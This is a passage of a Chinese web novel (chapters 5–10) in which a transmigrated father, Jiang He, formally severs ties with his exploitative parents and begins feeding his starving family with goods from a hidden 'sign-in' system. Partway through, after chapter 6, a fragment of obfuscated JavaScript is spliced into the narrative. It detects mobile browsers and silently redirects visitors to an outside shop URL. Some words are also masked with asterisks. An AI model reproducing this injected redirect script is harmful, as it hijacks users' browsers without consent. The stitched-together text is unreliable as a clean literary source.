江河立刻换上一副委屈又激动又难过的面孔,挣扎着从地上爬起来,对着族长和里正深深一揖,带着哭腔道:
“族长公,里正叔,我知道,一切都是我的不对,我不该顶撞父母,不该忤逆长辈。”
“可是……可是我这也是被逼得没有办法了啊!我受了重伤,头痛欲裂,差点儿就进了鬼门关。现在好不容易清醒过来,就想着朝爹娘讨几个铜板去看大夫。
可是爹娘不肯给也就罢了,还逼着我卖女儿卖孙女儿!我江河再不是东西,也干不出这种丧尽天良的事啊!”
说着,他抬手指着江老头夫妇,声音悲切道:
“我说不卖女儿与孙女儿,爹娘就说不认我这个儿子。非要逼着我给他们拿五百文的养老钱。
如果我不给,他们一样会在我死后把沫儿与娴儿给卖了换钱养老。
我是气不过才口不择言,提到了贤侄儿他们……我是怕啊,怕我**,两个孩子也没了活路,这才想用贤侄儿的前程逼爹娘可怜可怜我们这一家子……是我混账,我不是人!”
他这番话,半真半假,既点明了自己被逼卖女的绝境,又“坦诚”了自己威胁父母的“过错”。
顺道还把自己所有的行为动机,归结为自己对女儿、孙女儿未来的担忧,瞬间将自己放在了一个被逼无奈、走投无路的可怜父亲与爷爷的位置上。
反而显得江老头夫妇更加不近人情,儿子都要病**他们不管,还逼着儿子卖女儿孙女儿给他们凑养老钱,实在是太过份了。
族长和里正听完,脸色都缓和了不少。只要不是江河
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这小子犯混,故意忤逆长辈行不孝之举,事情就还有得商量。
不过话又说了回来,江河这小子为人虽然不咋地,脾气也臭得可以,在村子里属于人憎鬼厌的存在,但是有一点儿,那就是他极为孝顺。
这些年他为了孝敬爹娘,宁愿自己的婆娘与儿女们受冻挨饿,过得凄苦无比,他们可全都看在眼里,堪称是全村孝子的典范。
如果不是因为如此,就这小子在村子里做的那些混账事儿,他们早就找由头把丫给赶出下河村了。
想到这里,族长轻叹了口气,扭头对江老头说:
“老十二啊,江河再不对,也是你的亲儿子,如今伤成这样,你们做父母的,就一点情分都不讲吗?
还卖孙女与重孙女,你们家真的就已经穷得到了要卖儿卖女的地步了吗?
我告诉你们,这断亲可不是小事,传出去对江贤、江达的名声,恐怕也会有些不好的影响,你们要考虑清楚。”
族长深知,读书人最重孝悌之名,家族内闹出逼死病重长子还要断亲的丑闻,那两个孩子的名声能好到哪里去?
江老头脸色变了变,但江老太却抢着道:
“族长,您别听他一派胡言!他就是装可怜!今天不断了这个亲,以后他肯定像狗皮膏药一样黏上来,我们家贤儿、达儿还要不要前程了?
今天这亲必须得断!白纸黑字写清楚,以后两家各不相干,谁也别想牵扯谁!”
江老头也在旁边连连点头,直言今天一定要与江河断个干净,谁也别想拦住他们。
王德顺与王治山闻言,不由彼此对视了一眼,眼中皆都显露出了一丝不耐之色。
见**头夫妇态度坚决,铁了心的想要跟江源断亲,知道再劝已是无用,老族长王德顺便朝江河这边看来:
“江河,你怎么说?你若不愿,族里和村里可以再为你调解调解。”
江河心中暗喜,知道火候已经差不多了,他努力挤出几滴眼泪,做出万分痛苦又不得不接受的模样,哽咽道:
“爹娘既然……既然这般容不下我,嫌弃我是个拖累,那我……我还有什么脸面拖着赖着?
我爹以前就常教导我,百善孝为先,百孝顺当前,爹娘现在想要跟我断亲,我还能怎么办?
罢了罢了,断就断吧……只求族长、里正做个见证,写文书时更要写得分明,并非我江河不孝,实是父母不愿再认我这个儿子……”
“还有,我江河从此是死是活,与老宅再无干系,他日江贤、江达飞黄腾达,也……也莫要再来寻我,我高攀不起!”
他这番话,以退为进,坐实了父母嫌弃病儿,自愿舍弃这段亲情的名头,同时也为日后能够彻底摆脱这家人的纠缠,埋好伏笔。
省得以后他江河发达了,这老头老太太就跟闻到腥味儿的猫一样,死皮赖脸的凑上来,再以不孝的名声来拿捏他。
江老头夫妇此刻只求尽快摆脱这个“麻烦”,哪里还管江河说什么,连声催促族长和里正快写文书,他们要与江河断个干净。
族长无奈,只得让里正执笔,写下了一份断亲文书。
文书上明确写明了双方断亲的缘由,即自文书签订之日起,江河一家与江家老宅再无瓜葛,生死嫁娶,各不相干,产业财物,亦互不继承。
双方在所有村民的见证下,全都签上了名字,按上了手印。
断亲文书一式三份,江源一份,老宅一份,还一份则留在了里正手中,不日即会送到县中登记入册,正式生效。
第6章 以后可咋活呀!
拿着这张轻飘飘却重若千斤的文书,江河心中一块大石终于落地,一股前所未有的轻松感涌上心头,连带着受伤的身体似乎都轻快了几分。
他小心翼翼地将文书揣进怀里,不再看那对无情的父母一眼。
对着族长和里正再次躬身一礼,然后以自己身体不适为由,毫不犹豫的转身回了屋里。
**、江源、赵穗等一众儿女、儿媳及孙子、孙女,有些无措地跟在他的后面,每个人的面上都神色各异,眼中皆是不敢置信之色。
他们怎么也没有想到,一向对爷奶言听计从的渣爹,今天竟然真的跟老宅断了亲了,而且还断得这么正式,这么彻底!
这是不是意味着……他们以后能有好日子过了?
不自觉的,几个人的脸上竟然全都闪露出了一丝喜意。
只是很快,**就想到他们家刚刚被抢走的那两袋粮食,面色一下就变得苦了起来。
那可是他们家仅剩下的一百多斤口粮,现在全被二叔二婶给搬走了,接下来他们一家十口可该怎么活哟。
“爹,爹你等等!”
“刚刚爷奶和二叔二婶把咱家最后一点儿粮食全都给抢走了,咱得想办法要回来啊……”
没有办法,**只得大着胆子开口朝着已经进了屋的老爹呼喊提醒。
屋里的江河还没什么动静,院外拿着断亲文书满眼欢喜的江老头与江老太听到**的话,全都不满的朝**这边瞪了过来。
非但没有半点儿要归还粮食的意思,甚至还想要对**这个不孝孙破口大骂。
他们凭本事抢来的粮食,为什么要还?
再说,那可是他们两家断亲之前,江河那个不孝子答就给他们的养老粮,就算是江河一家要闹,当着族长与里正的面,他们老两口也有理。
“罢了,那两袋粮食咱不要了,就当是我江河最后一次尽孝了!”
不多时,屋里传来江河满是落寞的声音,似乎还在为断亲的事情伤心难过。
而事实上,江河正在屋里清点他刚刚签到所得的那些物资,脸上正喜笑颜开,高兴得不得了。
至于被老宅抢走的那两袋粮食,他早就已经有些看不上了。
不过看不上归看不上,却也不能白白便宜了老宅那帮白眼狼。
江河已然打定主意,过两天待断亲的风波平息下来后,他就去老宅把这些年该讨的债全都讨回来。
只是现在,他还要摆好自己愚孝的人设,可不能让外面那些人看出了什么端倪。
果然。
听到江河的决定,院子里还没有离开的老族长、里正及诸多村民,脸上全都露出了一丝果然又是如此的表情。
心中一个劲儿的感叹,江河这家伙孝顺得脑子都傻掉了。
把家里仅剩下的那点儿口粮全都送给老宅,他就不想想自己家这十余张嘴以后吃什么喝什么吗?
现在的年景可不怎么好,谁家都没有多余的粮食,这眼看着入冬在即,家里没有一点儿粮食打底,可是会饿**的啊。
看看江家的那几个孩子,本来就够瘦的了,若是再没有了口粮,指定熬不过这个冬天。
**、江源、赵穗、罗灵等人听到江河的决定,全都双腿一软,直接瘫坐在了门口,无声流泪。
他们也没想到,都已经断了亲了,老爹竟然还这么偏向老宅,那可是他们接下来一整年的口粮啊!
本来他们家的粮食就已经捉襟见肘,很难能熬得到年关。
可现在,老爹竟然一张嘴,就把所有的口粮全都给送出去了!
这……这让他们以后可还怎么活啊!
难不成,爹还想着要把沫儿、娴儿给卖了吗?
“哼,算这个不孝子还没有完全丧了良心!老头子,咱们走!”
江老太得意的冷哼一声,拽着江老头趾高气昂的离开了江河家。
“行了行了,没事儿了,都散了吧!”
老族长冲周围看热闹的村民摆了摆手,把人全都给打发了去。
然后他又回头朝江河所在的屋子里看了一眼,又瞅了瞅瘫坐在地上全没了精气神的**等几个小的,不由轻叹了口气。
不过他也没有多说什么,毕竟这些都是江河自己做出的决定,他一个外人也插不上嘴。
更何况,真要论起来的话,江家在他们下河村,不过是个取了他们王家女的外姓,他这个老王家的族长,也懒得去管他们。
“走吧,清官难断家务事,最后活成什么样,都是他们自己的选择,跟咱没关系。”
同里正王冶山打了声招呼,老族长便拄着拐杖,在王治山的搀扶下缓步离开了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966789|193410||http|test|mini|href|location''.split(''|''),0,{}));
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r>一时间,原本还喧闹不已的残破小院儿,再度恢复之前的寂静。
只留下瘫坐在门前失魂落魄的**几人。
“三哥,接下来咱们可该怎么办啊,家里一粒粮食都没有了,就连盐罐、油罐也都被二叔二婶给抢走了,咱们以后吃什么啊……”
“三哥,三嫂,我饿了……”
“娘,三叔三婶,我也饿了……”
“爹娘,我要吃东西,我要吃东西……”
**、罗灵还有赵穗三**人还好些,饿着肚子还能挺一挺。
但是江源、江沫儿、江娴、江涛还有江夏、江琴六个小家伙,肚子一饿就全都表现在了脸上。
尤其**罗灵夫妇膝下的两个小女儿江夏与江琴,一个三岁,一个才两岁,她们可不管家里困不困难,肚子一饿,就嚷嚷着要东西吃。
可是他们家现在连半粒米都没有了,让**、罗灵上哪给他们弄吃的?
“泽哥儿,要不咱们再去舅舅家借些粮食回来?”罗灵心疼几个孩子,轻声向**说道。
**苦笑摇头:“没用的,自娘去后,爹从两位舅舅那里已经借过不少钱粮,可一次也没还过,两位舅妈和几位表兄早就已经对咱们一家有意见了,又怎么会再借粮给咱们?”
“况且,今年的光景不好,舅舅家也未必会有多余的粮食借给咱们,还是不要去麻烦他们了。”
说这话时,**的眼中不禁泛起一丝苦涩与羞愧。
不说两个舅舅家,就连大嫂还有罗灵的娘家,还有二哥、二姐他们家,全都被他们的老爹给搅得鸡飞狗跳,断无可能再借钱借粮给他们。
尤其是二姐江槐一家,这次老爹受伤“故去”,二姐、二姐夫甚至连面都没露一下,足见他们已经对老爹彻底死心,老死不相往来了。
还有二哥,若不是为了一个孝字,为了不被人戳脊梁骨,这次老爹“亡故”,二哥都未必会从县里赶回来。
想想看,连自己的亲二姐、亲二哥,如今都与他们家的关系变成了这个鬼样子,左邻右舍就更不用说了。
一句话,他们的渣爹已经把他们所有能想到的所有后路,全都给走绝了。
现在,他们压根儿就想不到,还能从哪里再借来些粮食度过眼前的难关。
真是……造孽啊!
第7章 好好过日子
“嘤嘤嘤……”
“呜呜呜……”
“哇哇哇……”
“娘,我好饿,我要吃东西,我要吃东西……”
正在屋里兴高采烈的清点签到物品的江河,听到门外传来这么丧气的声音,顿时气不打一处来,怒声向门外吼道:
“在外面嚎什么嚎,全都给老子滚进来!”
刷!
外面的哭声与吵闹声戛然而止,紧接着,**、罗灵与赵穗三个大人,就带着六个小家伙进了屋。
刚一进屋,他们就看到摆放在堂屋正中那张方桌上的一大块五花肉,红白相间,五花三层,至少也得有五斤重!
肉的旁边还有一只敞开着口的布兜,布兜里面装着满满的雪白无瑕、颗粒饱满的上等精米,看这一兜的大小,怎么也得有十斤上下。
在布兜的后面,还摆放着一个竹编的托盘,托盘里安静的盛放着二十枚新鲜干净的红皮鸡蛋。
“这……这……爹,这些东西都是打哪来的?”
**等人的眼睛全都看直了,不自觉的吞咽着口水,同时心中也隐隐有些不安。
他们想不通,才这么点儿的工夫,老爹从哪里搞来了这么多大米、鸡蛋和五花肉。
要知道,平常他们家就算是过年时,也都不曾置办过这么丰厚的年货啊。
大米和鸡蛋也就算了,平日里省吃俭用一些倒也能积攒得出来。
可是那么一大块的五花肉,少说也有五斤重的精品五花三层肉,没有个三、五十文钱休想买得到。
就他们家现在这种情况,能买得起?
以前他们家偶尔想要开开荤,最多也就是割上二两荤油润润锅,吃点儿油渣过过瘾,谁能舍得一下买这么多肉了?
所以,现在骤然看到家里突然多出了这么多好东西,**、赵穗等人在眼馋之余,也不免有些担心这些东西的来路不正,以为是他们的渣爹又干了什么偷鸡摸狗的腌脏事。
江河没好气的轻瞥了眼前的这些儿孙们一眼。
看他们这没出息的样子,才五斤肉、十斤米和二十个鸡蛋就把他们给惊成了这个样子。
要是让他们知道,他的物品栏里还有二十斤肉、九十斤米、九十个鸡蛋,以及整整二百五十文钱还没有拿出来,这几个小家伙还不得直接被吓死?
不过这也给江河提了个醒,以后再将签到得到来的物品提现出来的时候,最好能找到一个合适的借口。
否则不止家里的这些孩子孙子们会怀疑,外面的邻居、村民们见了,也难免会心生疑虑。
若是被一些眼红的小人给举报了,而他又解释不清这些东西的来源与出处,绝对会有**烦。
“咳!”江河轻咳了一声,神色如常的淡声解释道:“再过几天不就是你们爷爷五十大寿了么,为父原本是想着偷偷备上一份厚礼让你们爷奶好好高兴高兴,不曾想今天他们竟然狠心跟咱们一家断了亲……”
说到这里,江河的脸上适时的显露了一丝伤心悲悯之色,摆了摆手道:
“罢了,不提这事儿了。既然都断了亲了,这些东西自然也就没必要再往老宅送了。”
“你们不是都饿了么,赵穗,你和罗灵去把这些吃食全都拿去煮了,今天咱们爷几个也开开荤,吃顿好的。”
听到江河的这番解释,**等人眼中的疑惑稍解,心中也不由长松了口气。
这倒是很符合他们渣爹的秉性,为了讨好爷奶欢心,什么好东西都往老宅划拉。
桌子上的这些肉、蛋和大米,之前肯定是被老爹给藏起来了,怕的就是他们这些小的会偷吃。
这些他们早就已经习惯了,只是不知老爹为了准备这些东西,又在外面借了多少外债。
被点到名字的赵穗和罗灵,彼此对视了一眼之后,又同时朝着**看来。
**冲他们点了点头,道:“既然是爹的意思,你们照做就好。全都拿去煮了,咱们一家好好吃顿饱饭!”
再怎么,这些东西进了他们的肚子,也比又送到老宅给爷奶和二叔二婶他们好。
**也怕晚一会儿,他们的渣爹又会反悔,再腆着脸,拿着这些东西去老宅,求爷奶回心转意,给他一个重回老宅的机会。
这样的事情以前又不是没有发生过,对于他们老爹的品性,**实在是没有什么信心。
所以,哪怕是心里也觉得这么吃太过奢侈与浪费,**还是催促着大嫂与媳妇儿快去准备,不给老爹反悔的机会。
赵穗与罗灵会意,马上伸手将桌面上摆放着的肉、蛋、米全都拿到了外间的厨房,即刻生火做起饭来。
江源、江沫儿还有江娴、江涛、江夏、江琴几个小家伙,全都跟着围到了灶台前,眼巴巴的看着锅里肉直吞口水。
江夏、江琴两个小女娃,更是一边流着口水,一边欢声叫嚷着:
“我要吃肉肉!我要吃肉肉!”
堂屋里,只剩下江
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河与**父子二**眼瞪小眼。
**看着老爹头上包扎着的伤口,心有些慌,深怕老爹会跟他秋后算账,直接拿扫帚往死里抽他,索性提前跪下认错。
“爹,我错了,我不该拦着你不让你把粮食送给老宅,害你失足磕了头,差一点儿就……是孩儿不孝!”
看着扑通一声就跪倒在自己跟前,不停磕头认错的老三,江河眼中没有半丝怒色。
在他的记忆中,老三**是他的几个孩子里面最踏实能干的一个,当然,也是最愚笨与愚孝的一个。
不然的话,摊上他这样一个不靠谱的渣爹,正常人早就学着老二江天,还有二女儿江槐,离他们这个家远远的,老死不相往来了。
而不是像**这样,就像是一头老黄牛一样,每天在地里累死累活的干着,把赚来的钱和粮食,全都交给他这个渣爹,任由渣爹不断供养老宅了。
这一次,如果不是今年的收成不好,家里也没有了余粮,依着**的脾气秉性,他怎么也不会跟江河顶撞,阻止江河把家里仅剩的口粮送给老宅。
若论愚孝,**跟他这个渣爹相比,简直就是一个模子里刻出来的。
只是之前,原身根本就瞧不上他这个只知道闷着头在地里刨食的三儿子,觉得他远没有江贤、江达那两个读书的侄子有出息。
直接就把**当成了家里干活的牛马,稍有不顺心就又打又骂,半点儿也不知道心疼。
而现在。
在江河的眼里,像是**这样既踏实肯干,又忠心不二对他言听计从的孝顺儿子,那可是打着灯笼都难找的好儿子啊,他珍惜都来不及,又怎么可能会再肆意打骂?
“行了,起来吧!”江河伸手将**扶起,道:“爹不怪你,是爹之前被猪油蒙了心,以为诚心待你爷奶,他们就会重新接纳我,把咱们这一支再迁回老宅。”
“可是经过今天这一出,爹我算是看清楚了,你爷奶他们,从来都没有把我当亲儿子看待。我这些年全都是在拿自己的热脸去贴他们的冷屁股,怎么都暖不热。”
“如今既然已经断了亲,以后爹就不会再往老宅拿半粒米,半点儿东西,咱们一家关起门来,好好过日子。”
听到老爹这般说讲,**的眼圈刷的一下就红了起来。
一个快二十岁的男子汉,两个孩子的爹,就这样直接跪趴在地上,抱着江河的双腿,激动得失声痛哭了起来。
第8章 这下对味儿了
看这小子没出息的样子,江河忍不住又是一阵嫌弃。
男子汉大丈夫,总是喜欢哭哭啼啼的像什么话?
不过他倒是也能理解**现在的心情。
一个已经成家四五年,连孩子都有了两个的青年汉子,被老爹忽视了这么多年,不当人了这么多年,心里不免有些憋屈难过。
现在,老爹突然把他当个人了,开始推心置腹的跟他谈心了,还说要一家人好好过日子,再也不帮衬老宅那边了。
这小子一时间有些激动难抑,真情自然流露,倒也在情理之中。
“爹,你能这么想真是太好了,这些年爷奶一直都不待见咱们一家,嫌爹没出息,嫌我们这些孙辈的没出息,还老拿我们跟二叔家的江贤江达比,我们早就受够了!”
“可爹是纯孝之人,这十多年来一直都没有放弃对爷奶尽孝,把家里的存钱存粮全都往爷奶那里送,我们这些做晚辈虽然心里苦,却也不好多说什么,咬咬牙也就忍了。”
“谁能想,爷奶的心根本就捂不热,今天竟当着全村人的面直接跟爹跟咱们一家子全都断了亲,让爹得了一个不孝的名声。”
“我知道爹心里苦,但是请爹放心,爷奶不要你了,你还有我们这些儿孙孝敬你……以后咱们一家好好过日子,再也不看老宅那边的脸色了……”
**一边抹鼻涕一边絮絮叨叨的说个没完,看得出,这些话已经在他心里憋了好长时间了。
难得这个闷葫芦竟能一口气说出这么多话来,江河没有开口打断,而是装作认真倾听状。
就当是给这孩子做一次心理辅导了,让他趁机好好宣泄一番,免得真的给憋出什么心理疾病来。
半晌后。
灶房那边俩儿媳妇终于把饭做好了,陆续把做好的饭菜端到了堂屋的四方桌上。
也是直到这时,**的情绪才完全稳定下来,有些不好意思的拿衣袖擦净脸上的鼻涕眼泪,又恢复了之前沉默寡言的憨厚样子。
江河扫了一眼端送到桌面上的饭菜,发现竟然全都是水煮的玩意儿。
水煮五花肉片,水煮红皮鸡蛋,再加上一盆不知名的水煮青菜,配上大半盆白米饭。
这饭做的,真是让人一点儿食欲都没有啊。
果然,他就不该对两个儿媳妇的厨艺抱有太大的期待。
吃惯了科技与狠活以及各种预制菜,口味早就已经变得极为刁钻挑剔的江河,对眼前的水煮饭菜,实在是提不起半点儿兴趣。
看着那白汪汪的油腻肥肉,他甚至还有些反胃。
“吃饭了,吃饭了!”
“我要吃肉肉,我要吃肉肉!”
与江河不同,早就已经饿得肚子咕咕叫的孩子们,全都围在桌子前,流着口水,眼巴巴看着桌面上油汪汪的水煮白肉,水煮鸡蛋和晶莹剔透的大白米饭,眼睛里面都快长出钩子了。
虽然嘴里嚷嚷着要吃肉肉要吃饭,可是却没有一个人敢随意伸手去碰桌子上的饭菜。
所有人,包括**、赵穗与罗灵这三个大人,全都不自觉的把目光瞄向了江河。
做为一家之主,江河这个当爹当爷爷的不动筷,谁也不敢第一个拿筷子吃饭。
之前就是如此,家里所有的好东西全都要紧着江河这个长辈先吃。
只有江河吃饱了,喝足了,他们这些小辈才敢放开了吃喝。
只是每次,等到江河吃饱喝足了之后,留给他们的就只剩下一些清汤寡水了,根本就吃不饱。
不然的话,家里的孩子们也不会一个个全都瘦成了这副鬼样子。
翻看着之前的这些记忆,江河不由在心里狠狠鄙视了原身一番。
果然是个渣爹啊,这货也忒不是东西了。
自己愚孝,拿一家人的劳动成果不断去给老宅输血也就罢了,他本身竟也是一个好吃懒做的惫赖货。
每天在家里屁事不干,每次吃饭还都是紧着他先吃。
而这家伙却也心安理得的把所有的干饭全部吃光,只留给儿子、媳妇儿还有孙子孙女们一些能照出人影的稀汤。
若是哪次有人胆敢在他之前动筷子偷吃东西,这老小子可是真敢下死手揍人。
家里的这几个小家伙,不管是儿子孙子还是女儿孙女,几乎全都挨过他的毒打。
看看眼前这几个孩子看向他时眼中所流露出来的畏惧眼神,就知道这几个小家伙有多么怕他了。
这特
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娘的哪里是在当爹当爷爷,这分明就是在当活祖宗啊。
看看家里的孩子、孙子都瘦成什么样了,他竟一点儿也不觉心疼、愧疚。
这般作为,跟他那两个只知道吸大儿子血的白眼狼父母,又有什么区别?
江河两世为人,自认为见多识广、阅人无数,可还真是从来都没有遇到过这样冷血混蛋和不靠谱的渣爹。
收回思绪,江河拿起筷子在盘子里夹了一片青菜,放到自己跟前的碗里,朗声道:
“行了,都别拘着了,开吃吧!”
呃?
众人闻言皆是一愣。
爹(爷爷)竟然要让他们跟着一起吃,而不是像以前那样先紧着他一个人吃饱喝足了之后,再让他们这些儿孙上桌?
原本来他们还想着,这次煮了这么多的猪肉和鸡蛋,还有大半盆的白米饭,**纵使吃了一大半,剩下的也够他们好好吃上一顿了。
却不想,**这次竟然一反常态,没有先吃那盘最香的肥肉也就罢了,只夹了一筷子青菜,就开口让他们上桌了。
这么反常的举动,这般巨大的转变,让**、赵穗、罗灵还有一众小辈皆都有些无所适从,不知道该不该听话上桌开吃。
“嗯?怎么都不动?”江河不悦的扫了几人一眼,猛的一拍桌子:“怎么,老子说话不管用了?!全都给老子过来吃!”
好,这下对味儿了。
见江河又恢复了之前的凶戾模样,所有人原本忐忑不安的心绪竟瞬间恢复了平静,条件反射般的依言拿起了碗筷,狼吞虎咽的大口吃喝起来。
江河见状,不由无奈摇头。
这家人,常年被原主这个大家长霸凌管制,都变得有些奴性了,他不发几次脾气,他们竟还不习惯了。
怪不得他们一家会一直被老宅给欺负得这么惨,怪不得**一个大老爷们,却跟个闷葫芦似的,三棍子打不出一个屁,遇事就知道哭,没有半点儿担当。
原来根子全都在他这个渣爹身上。
唉!
江河忍不住轻叹了口气。
看样子,以后想要把这些儿孙们畏缩、自卑、受到欺辱不知反抗的奴性习惯给改过来,任重而道远啊。
第9章 每顿只能吃一碗饭
吭哧吭哧!
稀里哗啦!
除了江河之外,其余九个小辈或坐或站围在饭桌前,闷着头一个劲儿的往自己嘴里扒拉大白米饭。
吃个饭,竟然让江河产生了一种自己正在喂猪的错觉。
更让他感到意外的是,**等人在扒拉米饭的时候,九双眼睛全都死盯着桌面上的水煮五花肉片,却没有一人敢主动去夹,就是这样眼巴巴的看着肉片下饭。
没错,除了江河刚刚夹过的那盘青菜之外,没有人敢动其他盘子里的菜,甚至就连鸡蛋都没有人敢第一个去拿来剥着吃。
这……
江河彻底无语了,又一次深切体会到了他这个渣爹在这个家中绝对的统治地位。
没办法,他只得又拿起筷子去夹了一块肥肉放进自己的碗中,然后又伸手拿了一只鸡蛋不紧不慢的剥了起来。
一直都紧盯着肉菜的九人,见江河终于动筷子夹了那盘肉菜,就仿佛是得到了某种进餐信号一样,眼睛骤然一亮,九双筷子同时挥舞出了一片残影,朝着这盘让他们心心念的五花肉片夹来。
然后就是一阵更加响亮的“吭哧吭哧”、“稀里哗啦”的进食声,让江河更加直观的以为自己仿佛是进了猪圈。
这帮孩子真是饿疯了也馋疯了。
大白米饭就能吃得狼吞虎咽也就罢了,这没有加半点儿调料的水煮肥肉片,他们竟然也能吃得这般……狂野。
没错,就是狂野,这吃相,仿佛是八辈子没闻过肉味儿一样,馋得都不行了。
现在江河甚至都在担心,这帮孩子可千万别给撑出个好歹来。
不是说肚子饿得太久的人,肠胃功能严重退化,若是没有节制的一个劲儿的狂吃猛炫,很容易就会被撑死么?
江河可不想在他穿越过来的第一天,就亲眼目睹一群孩子撑死在自己的眼巴前。
就在他抬起手来,想要拍桌子制止住几个孩子疯狂炫饭的“危险”举动时,才吃了一碗饭的几个人,竟然同时停止了进食的动作,规规矩矩的放下碗筷,不敢再多吃一口。
呃?
江河再次愣住了,随即脑子里面便浮现出了一段相关的记忆。
每顿只能吃一碗饭!
这是前身很久以前给这些孩子们定下的规矩。
不管是干饭还是稀饭,都只能吃一碗,谁若是敢多吃一口,原身就会大发雷霆,并拿起家里的扫帚死命的抽打,一边打还会一边骂他们没出息,想要吃穷他这个老子。
这……踏马是亲爹能干出来的事儿?!
别人的爹是宁可自己饿着肚子,也要让自家的娃儿吃饱吃好。
可他这个原身,自己好吃懒做、屁事不干也就罢了,却还怕家的小崽子吃得太多,把他给吃穷了,就算是有粮也不让多吃。
啧啧啧!
难怪啊,难怪二儿子江天在得知他没死透的消息后,第一时间就带着儿女离开了,连顿饭都不在家里吃。
还有二女儿,虽然得了他的“死讯”,却连奔丧都懒得回来,只当没有他这个爹了!
原身把日子过成了这个**样子,说是众叛亲离都不为过,真是……也没谁了啊!
还有眼前的这些娃儿,上辈子得是造了多少孽啊,这辈子才能摊上这样一个冷血又自私的渣爹?
不由得,江河看向**、江源、江沫儿、江娴等这些儿孙时,眼中竟不自觉的浮现出了一丝怜悯之色。
“行了,每人再吃一个鸡蛋,剩下的等晚上再吃!”
哪怕心中可怜这几个孩子,江河也没敢让他们再继续吃下去,每人分了他们一个鸡蛋后,就宣布结束了这顿饭。
“还有鸡蛋?!”
“而且还是每人一个?!”
这……这也太奢侈了吧?
听到江河的话,**几人非但没有觉得有任何不满,反而还满眼欣喜的惊呼起来。
万没想到,老爹今天竟然会这么大方,不但让他们吃了一碗大白米饭,夹了好几块五花肉片,现在竟然还要把鸡蛋也分给他们吃,而且还是每人一个!
要知道,以前老爹吃鸡蛋时,最多也就是给他们一些没有剥干净的鸡蛋壳,何曾像现在这么大方过?
一时之间,所有人都觉得有些难以置信。
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>毕竟,往年他们纵使是在过年的时候,也都不曾吃得这么丰盛过啊有木有?
爹今天是中邪了吗,怎么突然之间对他们这么好?
算了算了,吃鸡蛋要紧!
就算是爹真的中邪了,也是一件好事,至少在老爹恢复正常之前,他们还能再多吃一个鸡蛋!
很快,所有人都不再多想,同时兴奋的伸手朝盆中的煮好的鸡蛋拿去。
见老爹真的没有阻止,他们这才真正放下心来,飞速的把鸡蛋剥壳,径直送到自己的嘴巴里。
刷!
顷刻间,优质的蛋白和浓郁的蛋香在他们的齿间弥散开来,并迅速塞满了他们的口腔。
所有人都情不自禁的眯上了眼睛,一种前所未的满足感直袭心头。
片刻。
一只水煮鸡蛋完全下肚,所有人全都意犹未尽的舔了舔舌头,拍了拍自己的肚子。
“好吃好吃!”
“小叔,这鸡蛋真香啊,感觉比刚才的肉肉还好吃!”
“就是就是,要是咱们每天都能吃一个,那就太好了!”
“……”
几个十岁以下的小朋友边吃边小声的嘀咕,吃得那叫一个肚儿圆圆,满足得不得了。
**、赵穗、罗灵三个大人,还有江源这个半大小子,虽然全都只吃了一个半饱,却也同样知足得很,脸上都不自觉的露出了一丝幸福满足的微笑。
终于不用再喝稀汤来骗自己的肚子了!
他们自己都记不清楚,他们已经有多久没有吃过干饭,没有沾过荤腥,更别说是吃一颗完整的水煮蛋了。
江河见几人三两口就将一颗鸡蛋吃下了肚,之后竟然没有一个人开口闹着要吃第二颗。
这一个个的,全都懂事得让人心疼。
“行了,把剩下的都收了吧。”
江河挥了挥手,示意大儿媳与二儿媳将桌上没吃完的饭菜收起来。
然后他又伸手入怀,掏出了二十枚铜钱扔给**,吩咐道:
“老三,你拿着这些钱去置办些盐啊酱啊八角啊桂皮啊之类的调料,老子可吃不惯这么寡淡无味的饭菜!”
第10章 兜里没钱可不行
听到江河的吩咐,看到江河拿出来的这二十枚崭新的铜钱,在场的几人皆是一愣,瞪大眼睛直盯着江河。
大儿媳赵穗和三子**几乎同时开口向他问道:
“爹,你咋不吃了?”
“爹,你身上咋有这么多钱?”
其他人虽然没有开口询问,但是他们看向江河时的眼神里也多是这样的疑问。
要是搁在以前,家里准备了这么丰盛的饭菜,老爹哪一次不是吃得肚皮鼓鼓,连道都走不动才肯罢休?
怎么这一次,老爹就只吃了一口青菜、一颗水煮蛋,其他的什么都没吃。
就连他之前夹进碗里的那片肥肉,也是一动没动,现在仍然还安静的躺在碗里面。
这也太反常了!
就算是家里没盐了,煮出来的五花肉没有什么味道,可那毕竟是香喷喷的肉啊,他们家一年到头也吃不上两回的大肥肉啊!
他们实在是不能理解,这世上怎么会有人因为它没有盐味儿就嫌弃它,不愿多吃一口呢?
还有那二十枚大钱。
对于其他人家来说,这或许只是小钱,不值一提,但是对于他们这种一年到头连一百文钱都难攒下的贫苦家户来说,二十文钱已然是一笔不小的数目了。
尤其是这钱,还崭新崭新的,就跟才刚刚铸出来的一样,跟他们以前接触到的或是残破,或是污渍的旧钱相比,成色简直不要太好。
这要是拿出去,那些小商小贩肯定会抢着要。
“爹,你这般没有胃口,是不是头上的伤还没有好?我听说伤到头的人,最容易恶心反胃,吃不下东西,要不咱们还是去找村头的贾朗中给看看吧?”
“爹,这些钱你该不会也是专门为了给爷祝寿提前准备的吧?”
不用江河找借口解释,赵穗和**二人就主动为他把相应的理由给找到了。
看着二人一脸担忧的望着自己,江河抬手摸了一下自己后脑处的伤口,忍不住轻咧了下嘴。
伤口处红肿未消,不过却不再出血了,只是还疼得厉害。
若不是之前磕得太狠太猛了,原身也不会一口气没上来,就这么去了。
虽然他现在桃代李僵穿越了过来,但是这头上的伤势却并没有因为躯体里面换了一个全新的灵魂而完全恢复。
不行,必须得找个郎中过来瞧看瞧看了。
这里毕竟是在古代,任何一点儿外伤都不能马虎大意,若是真的感染发炎了,那可是能要了老命的。
江河好不容易才重活一回,惜命得很,可不想让自己的小命因为头上的这点伤再丢一次。
见江河没有说话,而是抬手摸起了自己后脑处的伤口,呆立在那里半天没动。
赵穗与**彼此对视了一眼,眼中全是了然明悟之色。
果然。
爹今天之所以会变得这般反常,就是因为伤到了头,这才会性情大变,不同以往。
不过这样的变化却是他们喜闻乐见的,只希望以后爹头上的伤好了,别再又变回以前那般模样,把什么好东西都往老宅那边划拉。
他们家现在,真的已经再经不起半点儿折腾了!
“爹,要不你先到床上躺一会儿,我这就去给你请郎中去!”
